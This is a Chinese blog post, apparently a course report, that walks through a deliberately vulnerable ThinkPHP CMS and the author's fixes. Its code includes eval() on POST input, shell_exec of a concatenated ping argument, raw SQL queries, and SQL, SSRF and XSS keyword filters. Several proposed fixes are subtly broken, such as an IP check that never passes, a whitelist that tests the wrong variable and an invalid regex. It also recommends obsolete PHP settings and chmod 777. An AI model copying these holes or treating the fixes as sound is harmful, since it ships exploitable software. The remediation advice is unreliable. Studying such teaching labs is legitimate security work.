上面的两端代码,一个是前端的数据传送,一个是后端的数据处理
可以看到前端将用户提交的数据一xml格式以post方式发送给后端,而在后端中使用了$xmlfile = file_get_contents('php://input');
,可以看到这里不仅使用了file_get_contents,而且使用了php伪协议php://input
,这个协议可以读取用户用post方式提交的数据,这就意味着攻击者可以使用抓包的方式修改自己所提交的数据,从而引入外部实体,造成XXE漏洞,而最主要的原因是这段代码,这个函数参数伪true时,就是禁止引入外部实体,而这里选择了false
libxml_disable_entity_loader(false)
漏洞防御
方法一
使用所开发的语言提供的禁用外部实体的方法
php中的是
也就是这个漏洞的防御方法
libxml_disable_entity_loader(true);
java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方法二
代码层面的防御,在代码中添加对用户提交数据的检测函数
比如
<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC
上面的关键词是XMl实体中不可缺少的关键词,所以过滤后,可以大概率的防止XXE攻击
3.SSRF
代码分析
代码位置application\info\controller\Index.php
public function index()
{
$url = @$_GET['url'];
if (!isset($url) || $url == '') {
$url = 'https://sunzy.icu';
}
$url = 'https://sunzy.icu';
if ($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$co = curl_exec($ch);
curl_close($ch);
echo $co;
}
// return view();
}
在上面的代码中,需要接收一个参数url
,如果参数为空,则赋值为https://sunzy.icu
,否则直接进行curl初始化,然后进行访问,可以看到没有对提交的参数进行任何的检查和过滤,这是很危险的。
漏洞防御
- 方法一
黑名单 内网过滤,端口限制,协议限制只允许使用http/https
在这个系统中防御该SSRF漏洞其实非常简单,就是禁止提交参数,或者绑定参数代码如下
function check_inner_ip($url)
{
//只允许http和https协议
$match_result = preg_match('/^(http|https)?:\/\/.*(\/)?.*$/', $url);
if (!$match_result) {
return $this->error('url fomat error');
}
try {
$url_parse = parse_url($url);
} catch (Exception $e) {
return $this->error('url fomat error');
}
$hostname = $url_parse['host'];
$ip = gethostbyname($hostname);
$int_ip = ip2long($ip);
//不允许host为内网ip地址
return ip2long('127.0.0.0') >> 24 == $int_ip >> 24 || ip2long('10.0.0.0') >> 24 == $int_ip >> 24 || ip2long('172.16.0.0') >> 20 == $int_ip >> 20 || ip2long('192.168.0.0') >> 16 == $int_ip >> 16;
}
方法二
对于一般的SSRF防御,一般从一下几方面入手
限制协议为HTTP、HTTPS
不用限制302重定向
设置URL白名单或者限制内网IP
限制请求的端口为http常用的端口,比如,80,443,8080,8090
下面是自己编写的WAF
$url = "http://baidu.com/test";
if(preg_match("/file|ftp|tftp|gopher|dict|localhost|127\.0\.0\.1|3232235521|2130706433|0x|0177\.0\.0\.01|0\.0\.0\.0|xip|@/i",$url)){
return $this->error("you are a hacker!!!");
}
解释一下为什么要用上面的正则过滤url
file|ftp|tftp|gopher|dict
是让改url只能使用http/https协议,这样可以避免大部分的攻击。
localhost|127.0.0.1
是为了防止攻击者探测内网端口,以免泄露一些容易被攻击的应用程序
3232235521|2130706433|0x|0177.0.0.01|0.0.0.0
这几个是为了防止攻击者对127.0.0.1进行八进制,十六进制,十进制的转码,从而绕过之前的检测
xip|@
这两个是防止攻击者使用302跳转攻击
4.目录遍历
漏洞分析
nginx.conf
location /files {
autoindex on;
alias /var/www/public/uploads/;
}
files后少写一个/
输入urlhttp://192.168.164.147/files../
时,相当于访问的是/var/www/public/uploads/../
,所以访问的就是/var/www/public/
目录。
漏洞防御
该漏洞修复方法很简单
修改nginx.conf
location /files/ {
autoindex on;
alias /var/www/public/uploads/;
}
5.SQL注入
漏洞点一
代码分析
代码位置application\change\controller\Changepass.php
public function index()
{
if($this->request->isPost()) {
$account = $_POST['account'];
$password = $_POST['password'];
$npassword = $_POST['npassword'];
$newpassword = $_POST['newpassword'];
if($account != '' && $password != '' && $npassword != '' && $newpassword !=''){
if($npassword === $newpassword) {
$result = Db::query("select `username` from yzn_member where username='$account'");
if (!empty($result)) {
$sql = Db::query("select `password`,`encrypt` from yzn_member where username='$account'");
$encrypt = $sql[0]['encrypt'];
$encrypt_password = $password . $encrypt;
if ($sql[0]['password'] === md5($encrypt_password)) {
$pwd = md5($newpassword.$encrypt);
$change = Db::query("UPDATE `yzn_member` SET `password`='$pwd' WHERE username='$account'");
return $this->success("successful!");
} else {
return $this->error("wrong password!");
}
} else {
return $this->error("no user!");
}
}
else{
return $this->error("new password are different!");
}
}else{
return $this->error("please input content!!!");
}
}
这段代码的意思就是,先检查用户的输入是否为空,不为空则判断两次输入的新密码是否一样,一样先到数据库中查找该用户,如果有该用户,则取出该用户的密码和加密因子,然后判断旧密码是否正确,正确则将新密码和加密因子的md5值写入数据库,密码修改成功。
这里可以看到并没有返回查询的信息,但是也没有对用户输入的数据进行检查和过滤,所以攻击根据错误提示进行盲注攻击。
漏洞防御
方法一
对sql注入使用的关键词进行过滤,写一个waf对输入的数据进行检查
这里的话只需要对用户名进行过滤,因为只有用户名被带入到sql语句中进行查询
function inject_check($Sql_Str) {//检测Sql的注入语句。 $check=preg_match('/select|from|where|if|database|order|insert|update|or|group_concat|\'|\\*|\*|\.\.\/|\.\/|union|and|ascii|substring|sleep/i',$Sql_Str); if ($check) { return $this->error("hacker!!!") }else{ return $Sql_Str; } }
可以看到使用bp进行注入fuzzing,可以发现很多payload都已经被过滤
方法二
第一种方法很简单,就是限制用户名和密码的长度,然后对用户的输入进行长度限制
因为是用户名和密码位置,用户名的长度一般不会超过20个字符,密码也不会超过20个字符,那么这里只需要在用户提交完数据后,在后端检测用户名和密码的长度,这样就可以让sql注入攻击无法发挥威力,因为在20个字符范围之内很难构造出有效的攻击语句。
漏洞点二
代码分析
public function jifen(){
$msg = "";
$point=0;
$id = $this->userid;
$sql = Db::query("select `point` from yzn_member where id='$id'")[0];
$point = (int)$sql['point'];
if(isset($_POST['submit']) && $_POST['username']!==''){
$username = $_POST['username'];
$num = (int)$_POST['num'];
if($username !== $this->userinfo['username'] && $num <= $point){
$result = Db::query("select `point` from yzn_member where username='$username'")[0];
if(!empty($result)){
$new_point = (int)$result['point'] + $num;
$point = $point - $num;
Db::query("UPDATE `yzn_member` SET `point`='$point' WHERE id='$id'");
Db::query("UPDATE `yzn_member` SET `point`='$new_point' WHERE username='$username'");
$msg = "成功向".$username."赠送".(string)$num."积分!";
return $this->fetch('/jifen',['point'=>$point,'msg'=>$msg]);
}else{
$msg = "不存在该用户!";
return $this->fetch('/jifen',['point'=>$point,'msg'=>$msg]);
}
}else{
$msg = "注意用户名不能是自己且积分数点数需要小于自己当前积分!";
return $this->fetch('/jifen',['point'=>$point,'msg'=>$msg]);
}
}
在这段代码中会将用户提交的用户名带到sql语句中查询
$result = Db::query("select `point` from yzn_member where username='$username'")[0];
虽然此处没有返回值,但是如果查询失败就会提示$msg="不存在该用户!"
,导致攻击者可以使用盲注攻击
漏洞防御
同样可以直接使用上面的过滤函数
漏洞点三
代码分析
application\member\controller\Index.php
中的finduser
方法
public function finduser(){
$msg = '';
$email = '';
if(isset($_POST['submit']) && $_POST['username']!==''){
$username = $_POST['username'];
$deny_str = array(' ','union','select','from','or','and');
$username = str_ireplace($deny_str,'',$username);
$result = Db::query("select `email` from yzn_member where username='$username'")[0];
if (!empty($result)){
$email = $result['email'];
$msg = '查询成功! '.$username.'的邮箱是:';
return $this->fetch('/finduser',['msg'=>$msg,'username'=>$username,'email'=>$email]);
}else{
$msg = '查询失败,'.$username.'不存在,请检查用户名是否正确!';
return $this->fetch('/finduser',['msg'=>$msg]);
}
}
return $this->fetch('/finduser');
}
可以看到,对用户提交的数据进行了过滤,但是过滤的内容很少,而且很容易就被绕过
漏洞防御
这里的防御就可以直接使用上面过滤函数
漏洞点四
代码位置application\member\controller\Content.php
代码分析
$id = $this->request->param('id', 0);
$info = Db::query('SELECT * FROM `yzn_member_content` WHERE `uid` = '.$this->userid.' AND `id` = '.$id.' LIMIT 1')[0];
if (empty($info)) {
$this->error('稿件不存在!');
}
这里直接将用户提交的数据id,带入到sql语句中查询,并且没有进行过滤
漏洞防御
方法一
因为id是一个数字,那么直接对id这个参数进行限制,只允许用户提交数字型数据
if(!is_numeric($id)){
return $this->error("id必须是数字!")
}
方法二
与上面的方法二一样,对id参数进行过滤
6.暴力破解
代码分析
该漏洞存在于管理员后台登录,造成该漏洞的原因大多是因为管理人员没有修改初始密码,或者心存侥幸改成了比较常见的密码,这样就给了攻击者可乘之机,直接使用暴力破解就可以攻克后台管理页面。
代码位于application\admin\controller\Index.php
中的login()
方法
//登录判断
public function login()
{
$url = $this->request->get('url', 'index/index');
if (User::instance()->isLogin()) {
$this->redirect('admin/index/index');
}
if ($this->request->isPost()) {
$data = $this->request->post();
$keeplogin = $this->request->post('keeplogin');
// 对提交数据进行检查
$rule = [
'username|用户名' => 'require|alphaDash|length:3,20',
'password|密码' => 'require|length:3,20',
'__token__' => 'require|token',
];
$result = $this->validate($data, $rule);
if (true !== $result) {
$this->error($result, $url, ['token' => $this->request->token()]);
}
if (User::instance()->login($data['username'], $data['password'], $keeplogin ? 86400 : 0)) {
$this->success('恭喜您,登陆成功', url('admin/Index/index'));
} else {
$msg = User::instance()->getError();
$msg = $msg ? $msg : '用户名或者密码错误!';
$this->error($msg, $url, ['token' => $this->request->token()]);
}
} else {
if (User::instance()->autologin()) {
$this->redirect('admin/index/index');
}
return $this->fetch();
}
}
虽然每次登录都需要带有token,但是也是不安全的,因为token的值是可以从前端页面获取的
漏洞防御
防御方法就是限制管理员登录时密码输入的错误次数,当错误次数达到一定数量时,就锁定该账号,需要拥有数据库管理权限的真正管理员才能重新登录。
首先在数据库中创建一个表yzn_loginfo
,里面只需要一个字段,用来记录admin账号连续输入错误密码的次数。
具体方法为
首先进入mysql容器内部
docker exec -it ed1c19bb4a95 bash
之后登录root账号,在数据库中建立一张表
CREATE TABLE IF NOT EXISTS `yzn_loginfo` (
`login_fail` int(10) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
修改代码application\admin\controller\Index.php
中的login()
方法
其中戴// 是增加的代码
// 从yzn_loginfo表中获取到 login_fail的值
$login_fail = Db::query('SELECT * FROM `yzn_loginfo`')[0]; //
$login_fail_count = $login_fail['login_fail']; //
// 如果密码错误超过 5 则锁定账号
if($login_fail_count >= 5){ //
$msg = "账号被锁定,请联系网站管理员!"; //
$this->error($msg,$url); //
}
if (User::instance()->login($data['username'], $data['password'], $keeplogin ? 86400 : 0)) {
// 如果输入的密码正确,说明是真正的admin,将login_fail值更新为0
Db::query('UPDATE `yzn_loginfo` SET `login_fail`=0 WHERE `login_fail`='.$login_fail_count); //
$this->success('恭喜您,登陆成功', url('admin/Index/index'));
} else {
$msg = User::instance()->getError();
$msg = $msg ? $msg : '用户名或者密码错误!';
// 如果输入的密码不正确,则将login_fail的值+1后再到数据库中更新
$login_fail_count_new = $login_fail_count + 1; //
Db::query('UPDATE `yzn_loginfo` SET `login_fail`= '.$login_fail_count_new.' WHERE `login_fail`='.$login_fail_count); //
$this->error($msg, $url, ['token' => $this->request->token()]);
}
当连续输错五次密码时,账号就被锁定,此时没有任何人能够登录,必须到数据库中需改yzn_loginfo
的login_fail
的值,这也就达到了防止暴力破解的攻击。
即执行下面这个sql语句
UPDATE `yzn_loginfo` SET `login_fail`=0 WHERE `login_fail`= 5;
7.文件上传
漏洞点一
代码分析
application\member\controller\Index.php
中的photo方法
public function photo(){
$msg = '';
$path = "./uploads/images/photo";
define("UPLOAD_PATH","../public/uploads/images/photo");
if (isset($_POST['submit'])){
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $path.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = '上传成功!';
} else {
$msg = '上传出错!';
}
} else {
$msg = $path . '文件夹不存在,请手工创建!';
echo $msg;
}
}
return $this->fetch('/photo',['msg'=>$msg,'path'=>$img_path]);
}
可以看到上面是使用黑名单,对含有黑名单后缀的文件进行替换,显示这样是很不安全的,使用双写即可绕过,造成了文件上传漏洞
漏洞防御
public function photo(){
$msg = '';
$path = "./uploads/images/photo";
define("UPLOAD_PATH","../public/uploads/images/photo");
if (isset($_POST['submit'])){
if (file_exists(UPLOAD_PATH)) {
$uploaded_name = trim($_FILES['upload_file']['name']);
$uploaded_size = $_FILES[ 'upload_file' ][ 'size' ];
$uploaded_type = $_FILES[ 'upload_file' ][ 'type' ];
$temp_file = $_FILES['upload_file']['tmp_name'];
//文件上传漏洞修复
$img_path = $path.'/'.$uploaded_name;
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'gif' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png'|| $uploaded_type == 'image/gif' )
) {
if (move_uploaded_file($temp_file, $img_path)) {
$msg = '上传成功!';
} else {
$msg = '上传出错!';
}
}else{
$this->error("文件类型不正确")
}
} else {
$msg = $path . '文件夹不存在,请手工创建!';
echo $msg;
}
}
return $this->fetch('/photo',['msg'=>$msg,'path'=>$img_path]);
}
其中if中的条件如下
( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'gif' || strtolower( $uploaded_ext ) == 'png' )
保证文件后缀名只能是
jpg gif png
的一个( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png'|| $uploaded_type == 'image/gif' )
文件的MIME必须为三者中的一个
( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp )
这是保证文件的大小小10M,并且文件不能空
漏洞点二
代码分析
改代码位于application\attachment\controller\Upload.php
中的saveFile方法
if ($size_limit > 0 && ($file->getInfo('size') > $size_limit)) {
return json([
'status' => 0,
'info' => '附件过大',
'state' => '附件过大', //兼容百度
'message' => '附件过大', //兼容editormd
]);
}
// 判断附件格式是否符合
$file_name = $file->getInfo('name');
$error_msg = '';
if ($error_msg != '') {
return json([
'code' => -1,
'info' => $error_msg,
'state' => $error_msg, //兼容百度
'message' => $error_msg, //兼容editormd
]);
}
可以看到这段代码中只是对上传附件的大小进行了检查,而没有对文件的后缀和文件的MIME进行检查,这样攻击者就可以任意的上传文件,造成文件上传漏洞,危害还是很大的。
漏洞防御
方法一
对于其的防御方法就是获取文件的类型然后检查其是否符合要求。这里只允许上传png,jpg,jpeg,gif,bmp
类型的文件
$file_ext = strtolower(substr($file_name, strrpos($file_name, '.') + 1));//获取文件的后缀名
// 获取文件的MiME,注意这里不是从客户端的请求头中获取的,而是根据文件的后缀名从php函数中获取,这样就可以防止攻击者修改MIME进行欺骗
try {
$fileMine = $file->getMime();
} catch (\Exception $ex) {
$error_msg = $ex->getMessage();
}
// 禁止MIME为text/x-php或text/html
if ($fileMine == 'text/x-php' || $fileMine == 'text/html') {
$error_msg = '禁止上传非法文件!';
}
//禁止后缀名为php的
if (preg_grep("/php/i", $ext_limit)) {
$error_msg = '禁止上传非法文件!';
}
// 禁止上传文件名后缀名在$ext_limit中的
if (!preg_grep("/$file_ext/i", $ext_limit)) {
$error_msg = '附件类型不正确!';
}
if (!in_array($file_ext, $ext_limit)) {
$error_msg = '附件类型不正确!';
}
// 禁止上传php,html后缀的文件
if($file_ext == "php" || $file_ext == "html") {
$error_msg = '禁止上传非法文件!';
}
方法二
对保存文件的目录修改权限。
已经知道,用户上传的文件会被保存到的public/uploads/images
目录下,首先查看一下该文件的权限信息
ls -ld images/
可以看到这是777权限,很明显这个权限设置是不合理的,那么我们将其改为744权限
chmod -R 744 images/
再来查看之前上传上的木马文件就会发现文件不存在,这样就会避免了一句话木马的危害
8.XSS
漏洞点一
代码分析
if ($this->request->isPost()) {
$data = $this->request->post('info/a');
$data['send_from'] = $this->_userinfo['username'];
if (!MemberModel::getByUsername($data['send_to'])) {
return $this->error('用户不存在');
}
if ($this->modelClass->allowField(true)->save($data)) {
$this->success('发送成功!');
} else {
$this->error('发送失败!');
}
可以看到这里对用户发送的消息,只是检查了接收消息者是否存在,而没有对用户发送的内容进行检查和过滤,给了攻击者可乘之机,这里就需要对用户输入的内容进行过滤。
漏洞防御
方法一
使用php自带的函数htmlspecialchars
,将一些特殊字符转义,使其无法工作
首先要知道data的结构
/*
data的数据结构
array(4) {
["subject"]=>
string(3) "sad"
["send_to"]=>
string(5) "sunzy"
["content"]=>
string(2) "ad"
["send_from"]=>
string(5) "admin"
}
*/
if ($this->request->isPost()) {
$data = $this->request->post('info/a');
$data['send_from'] = $this->_userinfo['username'];
// 短消息XSS防御
$data['subject'] = htmlspecialchars($data['subject']);
$data['content'] = htmlspecialchars($data['content']);
if (!MemberModel::getByUsername($data['send_to'])) {
return $this->error('用户不存在');
}
if ($this->modelClass->allowField(true)->save($data)) {
$this->success('发送成功!');
} else {
$this->error('发送失败!');
}
} else {
return $this->fetch();
}
此时再发送带有恶意脚本的消息时,该脚本就不会被浏览器执行,而是当作普通的字符串
方法二
这里就用一个很安全的过滤函数,这个函数很难被绕过。
function SafeFilter (&$arr)
{
$ra=Array('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/','/script/','/javascript/','/vbscript/','/expression/','/applet/','/meta/','/xml/','/blink/','/link/','/style/','/embed/','/object/','/frame/','/layer/','/title/','/bgsound/','/base/','/onload/','/onunload/','/onchange/','/onsubmit/','/onreset/','/onselect/','/onblur/','/onfocus/','/onabort/','/onkeydown/','/onkeypress/','/onkeyup/','/onclick/','/ondblclick/','/onmousedown/','/onmousemove/','/onmouseout/','/onmouseover/','/onmouseup/','/onunload/');
if (is_array($arr))
{
foreach ($arr as $key => $value) //循环语句,挨个检测
{
if (!is_array($value))
{
if (!get_magic_quotes_gpc())
{
$value = addslashes($value); //给单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符) 加上反斜线转义
}
$value = preg_replace($ra,'',$value); //删除非打印字符
$arr[$key] = htmlentities(strip_tags($value)); //去除 HTML 和 PHP 标记并转换为 HTML 实体
}
else
{
SafeFilter($arr[$key]);
}
}
}
}
漏洞点二
代码分析
代码位置application\member\controller\Index.php
中的comment方法
很容易看到,没有对提交的数据进行处理,并且将提交的数据在页面使用echo打印出来,导致了XSS漏洞
漏洞防御
使用php自带的函数htmlspecialchars
,将一些特殊字符转义,使其无法工作,或者使用上面的过滤函数
public function comment(){
if($this->request->isPost()){
$data = $_POST['data'];
$data = htmlspecialchars($data);
$userId = $this->userid;
9.RCE
漏洞点一
代码分析
application\admin\phpinfo\index
public function index()
{
if ($this->request->isPost()){
$data = $this->request->post('data');
echo eval($data.';');
}
return $this->fetch();
}
eval()
函数将传进来的字符串当作php代码执行,导致了命令执行
漏洞防御
既然功能就是查看phpinfo,那就设置一个白名单,检查提交的值是否为phpinfo
public function index()
{
if ($this->request->isPost()){
$data = $this->request->post('data');
$whitelist = array('phpinfo');
if (in_array($file, $whitelist)) {
return eval($data.';');
} else {
return $this->error("Hacker!");
}
}
return $this->fetch();
}
漏洞点二
代码分析
if ($this->request->isPost()) {
$ip = $this->request->post('data');
$ip = trim($ip);
$result = "";
if(isset($ip) && $ip !== '')
{
$result = shell_exec('ping '.$ip);
return "<pre>$result</pre>";
}
}
可以看到,这里没有对用户提交的ip地址进行任何检查判断,导致攻击者可以使用管道符恶意的拼接命令,从而导致了命令注入,获取到服务的敏感资源。
漏洞点二
漏洞防御
方法一
对用户提交的ip的地址进行判断,只有当符合IPv4的地址格式时,才允许执行下一步操作。
具体代码如下
if ($this->request->isPost()) {
$ip = $this->request->post('data');
$ip = trim($ip);
$is_ip = false;
$result = '';
$data = explode('.',$ip); // 利用ipv4地址的特性检查
for($i=0; $i<count($data); $i++){
if($data[$i] > 255 )
{
$is_ip = false;
}
}
if(!$is_ip){
$result = "请输入正确的IPv4地址!";
}
else{
$result = shell_exec('ping -c 4'.$ip);
}
return "<pre>$result</pre>";
}
方法二
使用php内置的函数对提交的参数进行过滤和转义,使得攻击者输入的一些特殊字符失去原来的作用。
escapeshellcmd
和escapeshellarg
函数
if ($this->request->isPost()) {
$ip = $this->request->post('data');
$ip = trim($ip);
$ip = escapeshellcmd($ip);
$ip = escapeshellarg($ip);
$result = "";
if(isset($ip) && $ip !== '')
{
$result = shell_exec('ping '.$ip);
return "<pre>$result</pre>";
}
}
10.CSRF
漏洞点一
代码分析
application\member\controller\Member.php
中的jifen
方法
漏洞防御
首先在前端代码中加入{:token}
,让用户每次访问时都携带一个随机token,再在后端页面中检查该token是否正确
$token = ['__token__'=> $_POST['__token__']];
// 设置检查规则
$rule = [
'__token__' => 'require|token',
];
// 利用validata函数检查
$result = $this->validate($token, $rule);
// token检查不通过则直接退出,并警告站点不安全。
if($result !== true){
return $this->error("website is unsafe!");
}
漏洞点二,三,四
代码分析
代码位置application\member\controller\Member.php
中的edit
方法
public function edit()
{
if ($this->request->isPost()) {
$userid = $this->request->param('id/d', 0);
$data = $this->request->post();
$result = $this->validate($data, 'member.edit');
if (true !== $result) {
return $this->error($result);
}
...
上面的代码只是对提交的数据进行了检查,数据符合规则就会成功,但是没有对请求的来源做任何的检查,这也是做成CSRF漏洞的最大原因。
漏洞防御
CSRF漏洞的防御
- 设置token,与管理员登录页面一样,每次请求的前端页面都会隐藏一个随机产生的token,而在提交请求时这个token也会发送到后端,此时服务器会检查,提交的token是否正确,只有正确时才会进行下一步操作。
- referer代表着请求的来源,不可以伪造。但是浏览器可以关闭referer。
- 禁止第三方网站使用本站Cookie。但是只有个别的浏览器支持。
所以这里选择使用token,修复该漏洞。
前端代码
基本不需要修改,只需要增加一个隐藏的token值,代码位置application\member\view\member\edit.html
此时的前端页面就会产生一个新标签,就是token值
后端代码
application\member\controller\Member.php
中的edit
方法
public function edit()
{
if ($this->request->isPost()) {
$userid = $this->request->param('id/d', 0);
$data = $this->request->post();
// 获取前端的token值
$token = ['__token__'=> $data['__token__']];
// 设置检查规则
$rule = [
'__token__' => 'require|token',
];
// 利用validata函数检查
$result = $this->validate($token, $rule);
// token检查不通过则直接退出,并警告站点不安全。
if($result !== true){
return $this->error("website is unsafe!");
}
$result = $this->validate($data, 'member.edit');
if (true !== $result) {
return $this->error($result);
}
...
再使用bp抓包生成CSRF的poc,此时就不能成功了
11.任意文件下载
代码分析
代码位于application\download\controller\Index.php
中的index方法
public function index()
{
header("Content-type:text/html;charset=utf-8");
if($this->request->isGet() && $_GET['filename'] !== null){
if($_GET['filename'] !== ''){
$filename = $_GET['filename'];
$filename = "nba/".$filename;
iconv("utf-8","gb2312",$filename);
if(!file_exists($filename)){
return $this->error("文件不存在!");
}
$fp = fopen($filename, 'rb');
$file_size = filesize($filename);
ob_clean();
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:".$file_size);
Header("Content-Disposition: attachment; filename=".basename($filename));
$buffer=1024;
$file_count=0;
while(!feof($fp) && $file_count<$file_size){
$file_con=fread($fp,$buffer);
$file_count+=$buffer;
echo $file_con;
}
fclose($fp);
return view();
}
}
return view();
}
这里就是实现了一个图片下载的方法,使得用户可以下载public/nba
文件夹下的图片,但是并没有对提交的filename
参数进行检查和过滤,那么攻击者就可以利用../
实现目录的跳转,从而可以下载任意文件
漏洞防御
主要的防御方法就是限制用户输入的文件名在程序指定的目录下,那么就是不能使用../
进行目录的跳转,并且对用户下载的文件后缀名进行检查
public function check_file($filename){
if(preg_match("../", $filename)){
return $this->error("hacker!");
}
// 获取文件的MIME 检查是否符合图片类型的要求
$file_type = $_FILES[ $filename ][ 'type' ];
if($file_type !== 'image/jpeg' || $file_type !== 'image/png'|| $file_type !== 'image/gif'){
return $this->error("hacker!");
}
}
12.unserialize
由于这里的反序列化漏洞是一个ctf题目,如果修复了就失去了它了存在的意义,所以这里没有修复方法。但是针对于一般的unserilize,还是有很多防御方法的。
- 1.严格的把控 unserailize() 函数的参数,不要给攻击者任何输入的可能
- 2.在文件系统函数的参数可控时,对参数进行严格的过滤。
- 3.严格检查上传文件的内容,而不是只检查文件头。
- 4.在条件允许的情况下禁用可执行系统命令、代码的危险函数。
而对于这种框架类型的网站,则需要开发者注意使用安全的网站架构,发现漏洞后需要及时修复漏,并且不安全的序列化后的对象,减少使用system,eval
等可能被攻击者利用的函数。
13.服务器安全配置防御漏洞
php.ini配置
禁止使用的PHP危险函数:Web木马程序通常利用php的特殊函数执行系统命令,查询任意目录文件,增加修改删除文件等。php木马程序常使用的函数为:dl,assert,exec,popen,system,passthru,shell_exec等
在php.ini中添加如下的内容:
disable_functions = dl,assert,exec,popen,system,passthru,shell_exec,proc_close,proc_open,pcntl_exec
关闭注册全局变量:在PHP中提交的变量,包括使用POST或者GET提交的变量,会自动注册为全局变量,能够直接访问,这是对服务器非常不安全的,所以不能让它注册为全局变量,就把注册全局变量选项关闭。
关闭注册全局变量设置:
register_globals = Off
开启magic_quotes_gpc:magic_quotes_gpc会把引用的数据中包含单引号’和双引号”以及反斜线 \自动加上反斜线,自动转译符号,确保数据操作的正确运行,magic_quotes_gpc的设定值将会影响通过Get/Post/Cookies获得的数据,可以有效的防止SQL注入漏洞。
打开magic_quotes_gpc设置:
magic_quotes_gpc = On
关闭错误消息显示:php在没有连接到数据库或者其他情况下会有提示错误,一般错误信息中会包含php脚本当前的路径信息或者查询的SQL语句等信息,这类信息提供给黑客后,是不安全的,所以服务器建议禁止错误提示。
关闭错误信息显示设置:
display_errors = Off
**禁止访问远程文件:**允许访问URL远程资源使得PHP应用程序的漏洞变得更加容易被利用,php脚本若存在远程文件包含漏洞可以让攻击者直接获取网站权限及上传web木马
配置如下:
allow_url_fopen = Off allow_url_include = Off
开启php安全模式:php的安全模式是个非常重要的内嵌的安全机制,能够控制一些php中的函数,比如system(),同时把很多文件操作函数进行了权限控制,也不允许对某些关键文件的读取。
safe_mode = On
nginx服务器安全配置
修改nginx.conf
禁止敏感文件的直接访问,可以有效的防御文件上传攻击,修改server段
location ~ ^/(uploads|static)/.*.(php|php3|php4|php5|cgi|asp|aspx|jsp|shtml|shtm|pl|cfm|sql|mdb|dll|exe|com|inc|sh)$ { deny all; }
禁止危险IP的访问
//禁止的写法 deny 10.0.0.0/24; //允许的写法 allow 10.0.0.0/24; deny all;
隐藏版本信息
server_tokens off; proxy_hide_header X-Powered-By
代码安全
- config/app.php中的app_debug和app_trace设置false,关闭调试模式
- 默认是域名绑定在public目录,为唯一对外访问目录
- 务必更改默认密码,并不要设置的过于简单,防止暴力破解
- 后台禁止访问IP,可以在设置-网站设置中设置
问题与总结
问题
- 数据库连接失败
SQLSTATE[HYO00][2002] Connection refused
解决方法如下
- 数据库关闭
上面的错误是mysql数据库的容器关闭导致
但是重启时还是立即关闭
查看日志看到如下内容,百度解决
root@sunzy-virtual-machine:~# docker logs -f 250c80740b5b
Warning: World-writable config file '/etc/mysql/conf.d/my.cnf' is ignored
Warning: World-writable config file '/etc/mysql/conf.d/my.cnf' is ignored
Warning: World-writable config file '/etc/mysql/conf.d/my.cnf' is ignored
将mysql文件夹中的my.cnf的权限改为 644
chmon 644 my.cnf
- 网站的图片无法显示或者css,js代码无法执行
进入nginx服务器的容器内
docker exec -it 容器名 bash
cd 进入图片或者css js代码保存的文件夹
使用chmod改变权限
chmod -R 777 文件夹 # -R 参数是递归改变权限 即文件夹内的文件都有777 的权限
总结
- 提高了自己的动手能力,以及编程能力,加深了对thinkPHP框架的了解,明白了其运行原理,学会了如何编辑一个CMS网站
- 在编写漏洞的过程中也提高了自己对改漏洞的理解,在以后的学习和工作中能更好的利用和防御漏洞
- 锻炼了自己的学习能力,从一开始的无从下手,后来通过手册学习后,了解了网站的框架,到后来可以自如的修改网站的页面和后端逻辑代码,对自己的学习能力提升很大,这也是这门课程的重要意义。毕竟学习安全,很多东西是需要自己摸索的,具备独立学习的能力才能在安全的道路上走的更远。
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!